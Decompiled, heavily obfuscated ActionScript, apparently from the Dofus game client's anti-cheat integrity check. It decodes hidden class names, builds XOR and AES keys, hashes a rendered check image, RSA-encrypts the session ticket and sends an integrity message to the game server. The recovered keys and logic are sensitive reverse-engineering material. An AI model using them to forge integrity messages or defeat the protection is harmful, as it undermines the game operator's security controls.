                        if (((((_SELWOWHMLML(-654) ^ -42957) > (31500 - _SOILEIMMEI(217)))) || (((((_SMWMMHIEOM(-170) + 332646) <= (_SEGMHMIIMXX(582) ^ 10569))) && (((_SELIOIHOEDL(863) ^ 32452) == (32061 - _SLGIEIEGEM(-193)))))))){
                            return (((_SOIHEODHGI(597) ^ 93198) >= (_SHMHXLMXGD(-699) ^ -31912)));
                        };
                        if (((((((_SEMXXIXOHDI(402) ^ 23964629) > (43205 - _SELWOWHMLML(-623)))) || (((((-70839 - _SEGMHMIIMXX(-733)) < (_SEMXXIXOHDI(-65) + 23964217))) && (((32587 - _SHMHXLMXGD(525)) < (_SHMHXLMXGD(-441) + -32214))))))) || (((-18541 - _SELIOIHOEDL(-285)) <= (94649 - _SOIHEODHGI(433)))))){
                            return (((31217 - _SOILEIMMEI(610)) <= (32844 - _SHMHXLMXGD(-598))));
                        };
                        if (((((((((_SHXHIMXIGO(-355) + 33245) > (_SELWOWHMLML(903) + -40276))) && (((_SHXHIMXIGO(-817) + 32320) >= (_SELIOIHOEDL(587) + 17342))))) && (((_SELIOIHOEDL(416) + -32874) < (_SHMHXLMXGD(-962) + -31685))))) && (((32815 - _SLGIEIEGEM(635)) >= (_SELWOWHMLML(-840) + -32514))))){
                            return (((_SHMHXLMXGD(-807) ^ -32308) >= (_SEMXXIXOHDI(799) ^ -23964124)));
                        };
                        if (((((((((42236 - _SELWOWHMLML(-20)) == (_SLGIEIEGEM(308) ^ 32254))) || (((_SOIHEODHGI(-599) + -93686) < (_SLGIEIEGEM(204) + -32675))))) || (((31991 - _SLGIEIEGEM(-7)) < (31566 - _SLGIEIEGEM(393)))))) || (((32737 - _SLGIEIEGEM(-437)) == (_SELIOIHOEDL(561) ^ -17822))))){
                            return (((((_SEMXXIXOHDI(675) + 23964953) > (_SHMHXLMXGD(213) ^ 32007))) && (((_SEGMHMIIMXX(-517) ^ -54761) == (_SHMHXLMXGD(689) ^ 32374)))));
                        };
                        return (((((-23963726 - _SEMXXIXOHDI(-872)) == (42796 - _SELWOWHMLML(-745)))) && (((_SHXHIMXIGO(939) + 32763) >= (_SEGMHMIIMXX(-701) + 55052)))));
                    }() == false){
                        decoyXorKey = (decoyXorKey ^ (_SLGIEIEGEM(-481) ^ 31945));
                    };
                    var _decoyXorKeyPart666_:uint;
                    if (function ():Boolean
                    {
                        if (((((_SEMXXIXOHDI(701) + 23964198) < (_SOIHEODHGI(199) + -94249))) && (((_SOIHEODHGI(33) ^ 93308) <= (_SELIOIHOEDL(23) + -32441))))){
                            return (((((-23963370 - _SEMXXIXOHDI(67)) <= (_SELIOIHOEDL(-527) + -31770))) && (((-31944 - _SHXHIMXIGO(100)) <= (32275 - _SELIOIHOEDL(529))))));
                        };
                        if (((((_SHXHIMXIGO(-830) + 33521) >= (31711 - _SELWOWHMLML(-225)))) || (((((-333192 - _SMWMMHIEOM(-74)) <= (_SOILEIMMEI(422) ^ 32513))) && (((_SOIHEODHGI(-326) ^ 94063) > (32920 - _SOILEIMMEI(-183)))))))){
                            return (((_SOILEIMMEI(556) ^ -31803) < (_SOILEIMMEI(-614) ^ 32325)));
                        };
                        if (((((((31978 - _SOILEIMMEI(613)) >= (-32691 - _SHXHIMXIGO(-184)))) && (((75685 - _SMWMMHIEOM(23)) >= (24317 - _SEGMHMIIMXX(583)))))) || (((((31526 - _SHMHXLMXGD(-926)) <= (_SHXHIMXIGO(560) + 32425))) && (((32129 - _SLGIEIEGEM(927)) <= (_SEMXXIXOHDI(927) + 23964268))))))){
                            return (((((_SHMHXLMXGD(627) ^ 32164) == (-23964174 - _SEMXXIXOHDI(-522)))) && (((32678 - _SHMHXLMXGD(852)) == (_SOILEIMMEI(769) + -31111)))));
                        };
                        if (((((((-333987 - _SMWMMHIEOM(-916)) < (_SELIOIHOEDL(917) ^ -32203))) || (((((_SMWMMHIEOM(810) + -533100) < (_SHXHIMXIGO(-860) + 32155))) && (((31075 - _SLGIEIEGEM(945)) > (31061 - _SELIOIHOEDL(531)))))))) || (((_SOILEIMMEI(-441) ^ 32303) < (_SHXHIMXIGO(-519) ^ -33077))))){
                            return (((((_SMWMMHIEOM(-141) ^ 332233) < (_SMWMMHIEOM(-87) + 332197))) && (((31103 - _SLGIEIEGEM(-302)) < (_SHXHIMXIGO(770) ^ -33182)))));
                        };
                        if (((((31203 - _SLGIEIEGEM(-674)) == (-33415 - _SHXHIMXIGO(-7)))) && (((_SHXHIMXIGO(-157) + 33352) > (_SEGMHMIIMXX(-232) + 13582))))){
                            return (((((-33070 - _SHXHIMXIGO(-294)) >= (_SHXHIMXIGO(960) + 31859))) || (((_SLGIEIEGEM(26) + -31679) < (_SOILEIMMEI(994) ^ -31871)))));
                        };
                        if (((((_SOILEIMMEI(884) ^ -31944) > (_SOIHEODHGI(-925) + -94755))) || (((_SOILEIMMEI(518) + -31894) == (32426 - _SELIOIHOEDL(505)))))){
                            return (((((_SEGMHMIIMXX(-832) + 19032) <= (_SHMHXLMXGD(-785) ^ 31758))) || (((_SELIOIHOEDL(-707) + 18105) == (_SHMHXLMXGD(-513) ^ -32309)))));
                        };
                        return (((_SELWOWHMLML(742) + -40263) == (-19406 - _SEGMHMIIMXX(-879))));
                    }() == function ():Boolean
                    {
                        if (((((32535 - _SLGIEIEGEM(-230)) > (_SEGMHMIIMXX(-792) ^ 19177))) && (((_SOILEIMMEI(814) + -31304) == (_SEMXXIXOHDI(-355) ^ 23964569))))){
                            return (((_SHMHXLMXGD(-898) + -31997) >= (32963 - _SOILEIMMEI(-7))));
                        };
                        if (((((((_SHXHIMXIGO(977) ^ 33304) < (_SLGIEIEGEM(-382) ^ 32612))) || (((_SELWOWHMLML(-530) + -41757) <= (31240 - _SLGIEIEGEM(-508)))))) || (((((_SOILEIMMEI(-955) ^ 31982) > (40568 - _SELWOWHMLML(418)))) && (((_SLGIEIEGEM(894) ^ -32416) <= (_SELIOIHOEDL(-851) ^ -32187))))))){
                            return (((_SMWMMHIEOM(-563) + 346904) >= (_SMWMMHIEOM(-888) ^ -75935)));
                        };
                        if (((((((((530425 - _SMWMMHIEOM(320)) == (32499 - _SOILEIMMEI(-546)))) && (((_SHMHXLMXGD(131) ^ 32220) == (25729 - _SEGMHMIIMXX(124)))))) || (((_SEGMHMIIMXX(757) ^ 36630) <= (-23964470 - _SEMXXIXOHDI(127)))))) || (((((93989 - _SOIHEODHGI(140)) <= (_SELIOIHOEDL(-328) + -32212))) && (((_SELIOIHOEDL(646) + -31415) <= (_SEMXXIXOHDI(73) ^ -23964548))))))){
                            return (((_SLGIEIEGEM(158) + -31008) == (_SELIOIHOEDL(549) + 18345)));
                        };
                        if (((((-33306 - _SHXHIMXIGO(-538)) >= (32130 - _SOILEIMMEI(289)))) || (((-32125 - _SHXHIMXIGO(712)) <= (305573 - _SEGMHMIIMXX(440)))))){
                            return (((_SHXHIMXIGO(-514) ^ -33715) < (_SHMHXLMXGD(-935) + -31759)));
                        };
                        if (((((((_SELWOWHMLML(455) + -40374) == (_SELWOWHMLML(702) ^ 41032))) && (((_SOIHEODHGI(606) + -94771) > (-19448 - _SEGMHMIIMXX(-311)))))) && (((_SOILEIMMEI(-680) ^ -32311) > (-23964768 - _SEMXXIXOHDI(992)))))){
                            return (((((36246 - _SEGMHMIIMXX(772)) == (41407 - _SELWOWHMLML(-364)))) || (((_SELWOWHMLML(-729) + -32318) < (_SOILEIMMEI(-344) + -31232)))));
                        };
                        if (((((((((((_SOIHEODHGI(355) + -94946) > (-23965082 - _SEMXXIXOHDI(-881)))) && (((-33308 - _SHXHIMXIGO(-470)) > (-348205 - _SMWMMHIEOM(-534)))))) || (((_SMWMMHIEOM(699) ^ 523976) >= (_SELWOWHMLML(965) ^ 32218))))) || (((_SLGIEIEGEM(499) ^ -32603) == (_SEGMHMIIMXX(-89) ^ -19036))))) || (((-18683 - _SELIOIHOEDL(56)) > (_SHXHIMXIGO(-947) ^ 33016))))){
                            return (((32594 - _SHMHXLMXGD(-343)) == (31851 - _SLGIEIEGEM(-909))));
                        };
                        if (((((((_SELIOIHOEDL(433) ^ -32024) == (_SEMXXIXOHDI(-140) + 23963411))) && (((_SELIOIHOEDL(-423) + 17633) < (_SEGMHMIIMXX(-946) + 54680))))) || (((_SEGMHMIIMXX(-106) ^ 19012) > (_SELIOIHOEDL(94) + 17586))))){
                            return (((_SELWOWHMLML(695) + -41140) >= (_SEMXXIXOHDI(-952) + 23964814)));
                        };
                        return (((32694 - _SELWOWHMLML(382)) > (_SHMHXLMXGD(-944) + -32536)));
                    }()){
                        decoyXorKey = (decoyXorKey ^ (_SELWOWHMLML(-973) ^ -42710));
                    };
                    var key:* = new (getDefinitionByName("flash.utils.ByteArray"))();
                    var AuthentificationManager:Object = getDefinitionByName(dec("fgytCOA/Vme/knoCrUPyf1lptIZuTaxJ5jheKLGccw2lRfU4Umj8nnwNoUHkI0486LJoF6hD7yVUYLuQfBepSe8cXGizlHgR", "HWPAJoFRPQbS8w=="));
                    var ciMsg:Class = (getDefinitionByName(dec("DB05py9xX327UAgTOew9MVBzsEQcXDrsOmhbbr0fAhcn+i94UW/4QgoRIfsna00m7HIHFzfiB3FAebFDBgYtxCtsR32xVA==", "b3JUiU4fNBzWMQ==")) as Class);
                    var ConnectionsHandler:Object = getDefinitionByName(dec("3EliggyOPBYEJ9hHYskezjMYDzPMCGTJH44yG0co2lI1li6PORkMJctPYMIeqDYZDSraVA==", "vyYPrG3gV3dpRg=="));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SELIOIHOEDL(758) + -31925) ^ _SHHOOXXMOW)));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SHXHIMXIGO(739) + 32863) ^ _SEHLOLGXIMH)));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SHXHIMXIGO(1) ^ -32865) ^ _SEIIXGEHIHD)));
                    _local_3 = key;
                    (_local_3["writeByte"](((-10764 - _SEGMHMIIMXX(-558)) ^ _SEGHOOIXMII)));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SHMHXLMXGD(-598) ^ 31898) ^ _SEOIILHMLGI)));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SOILEIMMEI(-428) ^ 31895) ^ _SEXIIXLELWH)));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SELIOIHOEDL(278) ^ -17690) ^ _SEHWXMOEMME)));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SELIOIHOEDL(-558) + -31952) ^ _SLOXEIDMD)));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SEGMHMIIMXX(279) + -306100) ^ _SEWDMMEHGEL)));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SLGIEIEGEM(414) ^ -31890) ^ _SEDOWXHIOI)));
                    _local_3 = key;
                    (_local_3["writeByte"](((31885 - _SOILEIMMEI(-924)) ^ _SDXDEHWEOXX)));
                    _local_3 = key;
                    (_local_3["writeByte"](((-10620 - _SEGMHMIIMXX(65)) ^ _SDGHWHWGOG)));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SHMHXLMXGD(-54) ^ 31959) ^ _SIXLXOLMML)));
                    _local_3 = key;
                    (_local_3["writeByte"](((-32788 - _SHXHIMXIGO(-241)) ^ _SHMLDDMIXO)));
                    _local_3 = key;
                    (_local_3["writeByte"](((_SELWOWHMLML(407) ^ -41221) ^ _SEDILIXWLEM)));
                    _local_3 = key;
                    (_local_3["writeByte"](((31997 - _SHMHXLMXGD(356)) ^ _SDXIGMHEHIX)));
                    var FastBase64:Object = lfc["contentLoaderInfo"]["applicationDomain"]["getDefinition"](dec("zRAKvXqDobBkyIEKVqZmmKH6QtDcDBLr", "r2kk3xbsztQAsQ=="));
                    var xorKey:ByteArray = FastBase64["decode"]("YWCUR9VQVsTGPnXi/jRqXw==");
                    var keyLen:uint = 128;
                    hashKey = new ByteArray();
                    var i:int;
                    while (i < (keyLen / 8)) {
                        _local_3 = hashKey;
                        (_local_3["writeByte"](((Math["random"]() * 0x0100) - 128)));
                        i = (i + 1);
                    };
                    var dataToEncrypt:ByteArray = new (getDefinitionByName("flash.utils.ByteArray"))();
                    _local_3 = dataToEncrypt;
                    (_local_3["writeUTF"](((AuthentificationManager["getInstance"]()["gameServerTicket"]) ? AuthentificationManager["getInstance"]()["gameServerTicket"] : "")));
                    _local_3 = dataToEncrypt;
                    (_local_3["writeShort"](hashKey["length"]));
                    _local_3 = dataToEncrypt;
                    (_local_3["writeBytes"](hashKey));
                    dataToEncrypt["position"] = 0;
                    var key2:ByteArray = new ByteArray();
                    i = 0;
                    while (i < key.length) {
                        _local_3 = key2;
                        (_local_3["writeByte"](((key[((key["length"] - i) - 1)] ^ xorKey[(i % xorKey["length"])]) ^ decoyXorKey)));
                        i = (i + 1);
                    };
                    var s:Stage = getDefinitionByName("com.ankamagames.jerakine.utils.display::StageShareManager")["stage"];
                    var tMc:int = getTimer();
                    var q:String = s["quality"];
                    s["quality"] = StageQuality["HIGH"];
                    var mc2:MovieClip = new HumanCheck(_passer);
                    _local_3 = mc2;
                    (_local_3["gotoAndStop"]((_SELIOIHOEDL(845) + -31951)));
                    var bd2:BitmapData = new (getDefinitionByName("flash.display.BitmapData"))(300, 225);
                    _local_3 = bd2;
                    (_local_3["draw"](mc2));
                    var color:uint;
                    var colorCount:uint;
                    var colorIndex:Dictionary = new Dictionary();
                    var pba:ByteArray = bd2["getPixels"](bd2["rect"]);
                    pba["position"] = 0;
                    while (pba["bytesAvailable"]) {
                        color = pba["readUnsignedInt"]();
                        if (!colorIndex[color]){
                            colorIndex[color] = 1;
                            colorCount++;
                        }
                        else {
                            _local_3 = colorIndex;
                            var _local_4 = color;
                            var _local_5 = (_local_3[_local_4] + 1);
                            _local_3[_local_4] = _local_5;
                        };
                    };
                    var threshold:uint = ((bd2["rect"]["width"] * bd2["rect"]["height"]) * 0.005);
                    var colors:Array = [];
                    var colorCounts:Dictionary = new Dictionary();
                    var k:uint;
                    for (c in colorIndex) {
                        if (colorIndex[c] > threshold){
                            if (colorCounts[colorIndex[c]] == undefined){
                                colorCounts[colorIndex[c]] = colors["length"];
                                _local_5 = colors;
                                (_local_5["push"]({
                                    "color":c,
                                    "count":colorIndex[c]
                                }));
                            }
                            else {
                                if (colors[colorCounts[colorIndex[c]]]["color"] < c){
                                    colors[colorCounts[colorIndex[c]]]["color"] = c;
                                };
                            };
                        };
                    };
                    _local_3 = colors;
                    (_local_3["sortOn"]("count", (Array["DESCENDING"] | Array["NUMERIC"])));
                    hashColor = new ByteArray();
                    lastColorCount = uint["MAX_VALUE"];
                    ci = 0;
                    while (ci < colors.length) {
                        if ((lastColorCount - colors[ci]["count"]) > 100){
                            lastColorCount = colors[ci]["count"];
                            _local_3 = hashColor;
                            (_local_3["writeUnsignedInt"](colors[ci]["color"]));
                        };
                        ci++;
                    };
                    var key3:ByteArray = new ByteArray();
                    _local_3 = key3;
                    (_local_3["writeUTFBytes"](lfc["contentLoaderInfo"]["applicationDomain"]["getDefinition"](dec("kgCpZm4DgfbBr94a9X1yGIG86JLF", "8HmHBAJs7pKl1g=="))["hashBytes"](hashColor)));
                    key3["position"] = 0;
                    i = 0;
                    while (i < key.length) {
                        key2[i] = (key2[i] ^ key3[i]);
                        i = (i + 1);
                    };
                    s["quality"] = q;
                    var dataIndex:uint;
                    while (dataIndex < dataToEncrypt.length) {
                        dataToEncrypt[dataIndex] = (dataToEncrypt[dataIndex] ^ key2[(dataIndex % key2["length"])]);
                        dataIndex++;
                    };
                    var tsRsa:int = getTimer();
                    var publicModulo:ByteArray = _SEMOMHOGHLL["decodeToByteArray"](dec("NqjJKHq4p+9vuiO5lix+nuS+Iv4j1KscLLbHxDC5DYK0Cnm75r4g+z6atToRk87WA7sPh4osfJi9zXPYWNPJPSyk4u4r3zSIjCohj97FDrgj2rV+HZq1wy7aEZudAgKdzsst4g6tnSgCtvzYEvkVsKUBEJXuyzPIBtqOdw2K5O8yv0aQyConlNXnDaA2zLUderH66h7uItuMen2G1sJ0viGKqnwnrM20Iv8SsaQGMa7H4hW2JKeofR+44cMX2wWIyiYMvf+4duMCl6Ubf+3lx2vOQ5OVJCut5sEU/E6GsRoFpcu5K+BYpqocEb3FxTTKBafMCCTz1ekRoBi612ELlsPpEvsllZAtH5D1uQrnP9XPOXq678Br3CarvgY7pcPNLOUlgMQHP6nczyzJOtG9eiO4te1z2EC7qQIclu65JeNEpIgIPqi+9BbBHrCLeiuR/bpzwx3UuXM=", "d+P8TkncjIxEjw=="));
                    var rsaKeyNetwork:_SLXOGXMDOX = new _SLXOGXMDOX(new BigInteger(publicModulo), parseInt(dec("akNtPKo=", "XHZYD50=")));
                    var rsaCryptedData:ByteArray = new ByteArray();
                    _local_3 = rsaKeyNetwork;
                    (_local_3["encrypt"](dataToEncrypt, rsaCryptedData, dataToEncrypt["length"]));
                    var _AESKey:Class = (lfc["contentLoaderInfo"]["applicationDomain"]["getDefinition"](dec("6D1vyPYEJ73X4P98YZTnASG+mP3yP2+D6gM8spjPzgFJg+c=", "i1IC5p5xVdG2jg==")) as Class);
                    dofusInstance.stage.loaderInfo.applicationDomain.getDefinition(dec("oQLEXqRUN5YlSqUMxBW2FDaSOkqpBMcV61Q5gz9EsAaTSotfKIAnWakgzAO2WzuS", "wm2pcMU6XPdIKw=="))[dec("5OEFmmXJ7n3u7eXvGA==", "rKBW0jqPuzOtuQ==")] = function (_arg_1:ByteArray):void
                    {
                        var _local_2:ByteArray = new ByteArray();
                        var _local_3 = _local_2;
                        (_local_3["writeBytes"](__slot_3["hash"](_arg_1)));
                        _local_2["position"] = 0;
                        pad = new _SEWEGXWIEEM();
                        mode = new _SDIDIWOHGD(new _SDXGEILDEDH(new _AESKey(hashKey), pad));
                        _local_3 = pad;
                        (_local_3["setBlockSize"](mode["getBlockSize"]()));
                        _local_3 = mode;
                        (_local_3["encrypt"](_local_2));
                        _arg_1["position"] = _arg_1["length"];
                        _local_3 = _arg_1;
                        (_local_3["writeBytes"](_local_2));
                    };
                    var ret:Vector.<int> = new Vector.<int>();
                    rsaCryptedData["position"] = 0;
                    i = 0;
                    while (rsaCryptedData["bytesAvailable"] != 0) {
                        n = rsaCryptedData["readByte"]();
                        ret[i] = n;
                        i = (i + 1);
                    };
                    var msg:* = new (ciMsg)();
                    _local_3 = msg;
                    (_local_3["initCheckIntegrityMessage"](ret));
                    _local_3 = ConnectionsHandler["getConnection"]();
                    (_local_3["send"](msg));
                }));
                var fc:* = _SafeStr_2._SafeStr_7(-1820302810);
                var fclc:* = new ((getDefinitionByName(_SafeStr_2._SafeStr_7(-1820302797)) as Class))(false, new (getDefinitionByName(_SafeStr_2._SafeStr_7(-1820302814)))());
                fclc[(_SafeStr_2._SafeStr_7(-1820302813) + _SafeStr_2._SafeStr_7(-1820302799))] = true;
                _local_3 = lfc;
                (_local_3[_SafeStr_2._SafeStr_7(-1820302787)](_SEMOMHOGHLL[(("dec" + _SafeStr_2._SafeStr_7(-1820302792)) + _SafeStr_2._SafeStr_7(-1820302788))](fc), fclc));
            }
    
            private static function _SEMXXIXOHDI(_arg_1:int, _arg_2:int=0):int
            {
                var _local_3 = 28426;
                var _local_4 = 24729;
                var _local_5 = 22827;
                var _local_6 = 38171;
                var _local_7 = 16030;
                if (_arg_2 == 0){
                    _SMELMLEOMG = 22466;
                };
                _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG - -28432));
                if (_arg_2 == 3){
                    return (_SMELMLEOMG);
                };
                for (;_local_3 < 28429;_local_3++) {
                    _SMELMLEOMG = (_SMELMLEOMG ^ (_arg_1 ^ -12547));
                    if (((((_SOILEIMMEI((_local_3 ^ 37807), (_arg_2 + 1)) % 16) <= (_SOILEIMMEI((_arg_1 ^ -10547), (_arg_2 + 1)) % 73))) && (((_SELWOWHMLML((_SMELMLEOMG ^ 19703), (_arg_2 + 1)) % 27) >= (_SLGIEIEGEM((_arg_1 ^ 7476), (_arg_2 + 1)) % 1))))){
                        if (((((_SEGMHMIIMXX((_SMELMLEOMG + -37179), (_arg_2 + 1)) % -44) >= (_SMWMMHIEOM((_local_3 ^ 22409), (_arg_2 + 1)) % 72))) || (((_SLGIEIEGEM((_SMELMLEOMG ^ -16655), (_arg_2 + 1)) % -70) < (_SELWOWHMLML((_SMELMLEOMG ^ -40622), (_arg_2 + 1)) % 38))))) continue;
                        _SMELMLEOMG = (_SMELMLEOMG ^ (_arg_1 + -39416));
                    }
                    else {
                        if (((_SHXHIMXIGO((_SMELMLEOMG + 13258), (_arg_2 + 1)) % 90) == (_SHXHIMXIGO((_local_3 - -17299), (_arg_2 + 1)) % -71))){
                            if (((((((_SOIHEODHGI((_arg_1 - 16023), (_arg_2 + 1)) % -82) >= (_SHMHXLMXGD((_SMELMLEOMG + 27837), (_arg_2 + 1)) % -100))) || (((_SOILEIMMEI((_SMELMLEOMG + -28284), (_arg_2 + 1)) % -66) < (_SHXHIMXIGO((_SMELMLEOMG - -43001), (_arg_2 + 1)) % -18))))) || (((_SOIHEODHGI((_arg_1 - 22120), (_arg_2 + 1)) % 13) > (_SMWMMHIEOM((_arg_1 ^ -19333), (_arg_2 + 1)) % 53))))){
                                _SMELMLEOMG = (_SMELMLEOMG - (_local_3 + 24315));
                                _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG - -47605));
                            }
                            else {
                                while (_local_4 < 24730) {
                                    _SMELMLEOMG = (_SMELMLEOMG - (_arg_1 + 46798));
                                    if (((_SOIHEODHGI((_arg_1 ^ 22065), (_arg_2 + 1)) % 38) > (_SEMXXIXOHDI((_local_4 + -2905), (_arg_2 + 1)) % 98))){
                                        if (((((_SHMHXLMXGD((_local_3 + -32144), (_arg_2 + 1)) % 43) >= (_SELWOWHMLML((_arg_1 - -1548), (_arg_2 + 1)) % 64))) || (((((_SMWMMHIEOM((_arg_1 ^ -40351), (_arg_2 + 1)) % 104) > (_SEMXXIXOHDI((_arg_1 ^ -41330), (_arg_2 + 1)) % -43))) && (((_SEGMHMIIMXX((_SMELMLEOMG + 6393), (_arg_2 + 1)) % 64) >= (_SEMXXIXOHDI((_local_3 + -33307), (_arg_2 + 1)) % 3))))))){
                                            _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG + -36453));
                                            break;
                                        };
                                        if (((_SHMHXLMXGD((_local_4 - 46823), (_arg_2 + 1)) % 37) == (_SLGIEIEGEM((_local_3 + 37081), (_arg_2 + 1)) % -47))){
                                            _SMELMLEOMG = (_SMELMLEOMG + (_local_3 + 3228));
                                            while (_local_5 < 22828) {
                                                _SMELMLEOMG = (_SMELMLEOMG - (_SMELMLEOMG - 40301));
                                                if (((((_SEMXXIXOHDI((_local_4 + -1566), (_arg_2 + 1)) % 76) >= (_SELIOIHOEDL((_local_5 + 18943), (_arg_2 + 1)) % 55))) || (((_SEGMHMIIMXX((_local_3 + 15194), (_arg_2 + 1)) % 69) < (_SOILEIMMEI((_SMELMLEOMG ^ -30653), (_arg_2 + 1)) % -18))))){
                                                    while (_local_6 < 38174) {
                                                        _SMELMLEOMG = (_SMELMLEOMG - (_SMELMLEOMG - -39998));
                                                        if (((_SOILEIMMEI((_local_6 ^ 43073), (_arg_2 + 1)) % -24) <= (_SEGMHMIIMXX((_local_5 - -22947), (_arg_2 + 1)) % 23))){
                                                            while (_local_7 < 16031) {
                                                                _SMELMLEOMG = (_SMELMLEOMG + (_local_7 - -46217));
                                                                if (((((_SELWOWHMLML((_local_6 ^ -28495), (_arg_2 + 1)) % 106) == (_SEGMHMIIMXX((_local_4 + -298), (_arg_2 + 1)) % 29))) || (((_SEMXXIXOHDI((_SMELMLEOMG + 31469), (_arg_2 + 1)) % -69) <= (_SMWMMHIEOM((_local_6 ^ -2511), (_arg_2 + 1)) % 114))))){
                                                                    if (((((_SMWMMHIEOM((_arg_1 - 8841), (_arg_2 + 1)) % 73) <= (_SELIOIHOEDL((_arg_1 - 14959), (_arg_2 + 1)) % -54))) || (((_SHXHIMXIGO((_local_3 + -27007), (_arg_2 + 1)) % 58) < (_SLGIEIEGEM((_SMELMLEOMG + -27414), (_arg_2 + 1)) % 13))))){
                                                                        if (((_SEMXXIXOHDI((_local_6 ^ 37645), (_arg_2 + 1)) % 66) < (_SMWMMHIEOM((_local_5 + -37569), (_arg_2 + 1)) % -20))){
                                                                        };
                                                                    };
                                                                };
                                                                _local_7++;
                                                            };
                                                            _SMELMLEOMG = (_SMELMLEOMG ^ (_SMELMLEOMG ^ -11002));
                                                        }
                                                        else {
                                                            _SMELMLEOMG = (_SMELMLEOMG - (_local_4 - -98));
                                                        };
                                                        _local_6++;
                                                    };
                                                }
                                                else {
                                                    _SMELMLEOMG = (_SMELMLEOMG ^ (_SMELMLEOMG ^ -34430));
                                                };
                                                _local_5++;
                                            };
                                        }
                                        else {
                                            _SMELMLEOMG = (_SMELMLEOMG - (_SMELMLEOMG + 7883));
                                        };
                                    };
                                    _local_4++;
                                };
                                if (((_SMWMMHIEOM((_SMELMLEOMG - 10224), (_arg_2 + 1)) % 82) <= (_SHXHIMXIGO((_arg_1 ^ 22161), (_arg_2 + 1)) % 113))){
                                    _SMELMLEOMG = (_SMELMLEOMG - (_local_3 ^ -33934));
                                };
                            };
                        };
                    };
                };
                return (_SMELMLEOMG);
            }
    
            private static function _SEGMHMIIMXX(_arg_1:int, _arg_2:int=0):int
            {
                var _local_3 = -37360;
                var _local_4 = -14801;
                if (_arg_2 == 0){
                    _SMELMLEOMG = 37393;
                };
                _SMELMLEOMG = (_SMELMLEOMG ^ (_arg_1 + 416));
                if (_arg_2 == 3){
                    return (_SMELMLEOMG);
                };
                while (_local_3 < -37358) {
                    _SMELMLEOMG = (_SMELMLEOMG ^ (_SMELMLEOMG + -18900));
                    if (((_SHXHIMXIGO((_SMELMLEOMG + -40053), (_arg_2 + 1)) % 23) == (_SELIOIHOEDL((_arg_1 ^ 168), (_arg_2 + 1)) % 63))) break;
                    if (((_SHXHIMXIGO((_arg_1 + 41156), (_arg_2 + 1)) % 15) >= (_SELIOIHOEDL((_arg_1 ^ 3353), (_arg_2 + 1)) % 34))){
                        _SMELMLEOMG = (_SMELMLEOMG - (_SMELMLEOMG ^ -5565));
                    }
                    else {
                        while (_local_4 < -14800) {
                            _SMELMLEOMG = (_SMELMLEOMG - (_SMELMLEOMG - 46680));
                            if (((((((_SOIHEODHGI((_SMELMLEOMG + -25286), (_arg_2 + 1)) % 48) > (_SLGIEIEGEM((_local_4 - -42004), (_arg_2 + 1)) % 112))) && (((_SEGMHMIIMXX((_SMELMLEOMG ^ 21831), (_arg_2 + 1)) % -114) <= (_SOIHEODHGI((_local_3 + -2649), (_arg_2 + 1)) % 101))))) && (((_SELIOIHOEDL((_SMELMLEOMG - 5194), (_arg_2 + 1)) % -127) == (_SLGIEIEGEM((_local_4 + -3740), (_arg_2 + 1)) % 29))))) break;
                            _local_4++;
                        };
                        _SMELMLEOMG = (_SMELMLEOMG - (_arg_1 ^ -22157));
                    };
                    _local_3++;
                };
                return (_SMELMLEOMG);
            }
    
            private static function _SMWMMHIEOM(_arg_1:int, _arg_2:int=0):int
            {
                var _local_3 = -44702;
                if (_arg_2 == 0){
                    _SMELMLEOMG = 21483;
                };
                _SMELMLEOMG = (_SMELMLEOMG - (_SMELMLEOMG - -32777));
                if (_arg_2 == 3){
                    return (_SMELMLEOMG);
                };
                while (_local_3 < -44700) {
                    _SMELMLEOMG = (_SMELMLEOMG ^ (_arg_1 ^ -15297));
                    if (((_SHXHIMXIGO((_local_3 ^ 38860), (_arg_2 + 1)) % 126) == (_SELWOWHMLML((_arg_1 ^ -20037), (_arg_2 + 1)) % -71))) break;
                    _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG - -12599));
                    _local_3++;
                };
                return (_SMELMLEOMG);
            }
    
            private static function _SHMHXLMXGD(_arg_1:int, _arg_2:int=0):int
            {
                var _local_3 = -30763;
                var _local_4 = -3594;
                var _local_5 = 679;
                var _local_6 = 20206;
                if (_arg_2 == 0){
                    _SMELMLEOMG = -18767;
                };
                _SMELMLEOMG = (_SMELMLEOMG + (_arg_1 + -33224));
                if (_arg_2 == 3){
                    return (_SMELMLEOMG);
                };
                while (_local_3 < -30761) {
                    _SMELMLEOMG = (_SMELMLEOMG - (_SMELMLEOMG + 39468));
                    if (((_SHMHXLMXGD((_arg_1 + -23929), (_arg_2 + 1)) % 76) >= (_SOILEIMMEI((_local_3 + 1398), (_arg_2 + 1)) % -96))){
                        while (_local_4 < -3592) {
                            _SMELMLEOMG = (_SMELMLEOMG ^ (_local_4 - -9442));
                            if (((_SHXHIMXIGO((_local_3 ^ 40352), (_arg_2 + 1)) % -89) == (_SLGIEIEGEM((_SMELMLEOMG - 40539), (_arg_2 + 1)) % 54))) break;
                            while (_local_5 < 680) {
                                _SMELMLEOMG = (_SMELMLEOMG - (_local_5 ^ 23053));
                                if (((((((_SEMXXIXOHDI((_arg_1 - -37695), (_arg_2 + 1)) % -110) < (_SOILEIMMEI((_arg_1 + 39574), (_arg_2 + 1)) % -48))) && (((_SELIOIHOEDL((_local_3 - 45238), (_arg_2 + 1)) % -76) == (_SHXHIMXIGO((_arg_1 ^ -22673), (_arg_2 + 1)) % -111))))) && (((_SOIHEODHGI((_local_4 + -9005), (_arg_2 + 1)) % 107) > (_SEGMHMIIMXX((_SMELMLEOMG - 45077), (_arg_2 + 1)) % 39))))){
                                    while (_local_6 < 20208) {
                                        _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG ^ -35187));
                                        if (((_SMWMMHIEOM((_local_3 + -49327), (_arg_2 + 1)) % 49) < (_SEGMHMIIMXX((_local_4 ^ -41740), (_arg_2 + 1)) % -63))){
